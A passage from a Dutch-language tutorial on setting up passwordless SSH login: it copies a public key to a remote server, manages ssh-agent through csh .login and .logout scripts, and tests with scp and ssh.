Nu moeten we ervoor zorgen dat je publieke sleutel terecht komt op alle systemen waarop je voortaan zonder extra inloggen wilt kunnen werken. N.B. je moet al een account hebben op deze systemen, het enige wat we willen bereiken is username/password authenticatie vervangen door onze single signon.

Om te publieke sleutel op de andere computer neer te zetten gebruien we nogmaals ssh om de verbinding op te bouwen. Dit kan met een “oneliner”, alleen moeten we nu nog even met ons wachtwoord authenticeren:


[beekman@pandora ~]> cat ~/.ssh/id_dsa.pub | ssh beekman@vortex 'cat - >> ~/.ssh/authorized_keys'
beekman@vortex's password:

We kunnen nu al checken of PKI authenticatie via ssh werkt, het vraagt nu nog wel om een wachtwoord omdat je privé sleutel is beschermd met een wachtwoord (anders zou bijvoorbeeld de root gebruiker op je huidige computer er misbruik van kunnen maken, want die kan immers bij ieder bestand wat op de computer aanwezig is).


[beekman@pandora ~]> ssh beekman@vortex
Enter passphrase for key '/home/beekman/.ssh/id_dsa':
Last login: Thu Jan 12 20:22:16 2006 from 18-196.surfsnel.dsl.internl.net

De laatse stap is om het programma ssh-agent altijd op te starten als je inlogt op het systeem waar vandaan je werkt en die toegang te geven tot je privé sleutel. Als er vervolgens gevraagd wordt om deze sleutel omdat je op een andere computer wilt inloggen of omdat je een bestand wilt kopieeren met scp dan zal ssh-agent dit voor je afvangen.
Het opstarten van ssh-agent gaat vanuit het .login bestand dat eenmalig uitgevoerd wordt als je voor het eerst inlogd op je computer. Dit is de keer dat je je wachtwoord moet intypen om je privésleutel vrij te geven voor ssh-agent. De scripts hier werken voor de csh en tcsh shells.

[beekman@pandora ~]> cat .login
[code]
set sshAgent=/usr/bin/ssh-agent
set sshAgentArgs=”-c”
set tmpFile=exportAgentEnv
if ( -x “$sshAgent” ) then
if ( ! $?SSH_AUTH_SOCK ) then
$sshAgent $sshAgentArgs | head -2 > $tmpFile
source $tmpFile
rm $tmpFile
echo “ssh agent started [${SSH_AGENT_PID}]”
ssh-add
endif
endif
[/code]

Met een klein .logout scriptje zorg je dat ssh-agent ook weer netjes afgesloten wordt bij het uitloggen:
[beekman@pandora ~]> cat .logout
[code]
if ( $?SSH_AGENT_PID ) then
echo “killing ssh agent [${SSH_AGENT_PID}]”
ssh-add -D
kill $SSH_AGENT_PID
unset SSH_AGENT_PID
unset SSH_AUTH_SOCK
endif
[/code]

Nu is het een kwestie van uitloggen en inloggen en je wachtwoord ingeven.

Even checken of ssh-agent ook echt draait:


[beekman@pandora ~]> ps -f | grep ssh-agent
beekman   5863  5259  0 13:56 pts/1    00:00:00 grep ssh-agent

En het gebruik testen, bijvoorbeeld door wat heen en weer te kopieeren (pandora is mijn laptop waarop ik ben ingelogd, vortex is de server die ver weg staat):


[beekman@pandora ~]> touch test.txt
[beekman@pandora ~]> scp test.txt vortex:
test.txt                          100%    0     0.0KB/s   00:00
[beekman@pandora ~]> ssh vortex "ls -l test.txt"
-rw-r--r--  1 beekman beekman 0 Apr  2 14:46 test.txt
[beekman@pandora ~]> rm -f test.txt
[beekman@pandora ~]> scp vortex:test.txt .
test.txt                          100%    0     0.0KB/s   00:00
[beekman@pandora ~]> ls -l test.txt
-rw-r--r--  1 beekman beekman 0 2006-04-02 13:59 test.txt

en natuurlijk door in te loggen:


[beekman@pandora ~]> ssh vortex
Last login: Sun Apr  2 13:24:51 2006 from 18-196.surfsnel.dsl.internl.net
[beekman@vortex ~]>

Problemen?
Default staat in de systeemwijde instellingen voor sshd (de secure shell daemon) Public Key Authentication aan. Het kan natuurlijk zijn dat de systeembeheerder dit heeft uitgezet. Je kan met ssh erg goed zien wat er mis gaat als er problemen zijn door de optie -v mee te geven. Ssh laat dan stap voor stap zien wat er gebeurd. Je kan meerdere keren -v achter elkaar zetten om nog meer info te zien (tot drie keer aan toe.

Windows
De beste windows ssh client is Putty.
Als je veel heen en weer wilt kopieeren dan is winscp een aanrader. Beide zijn gratis te gebruiken.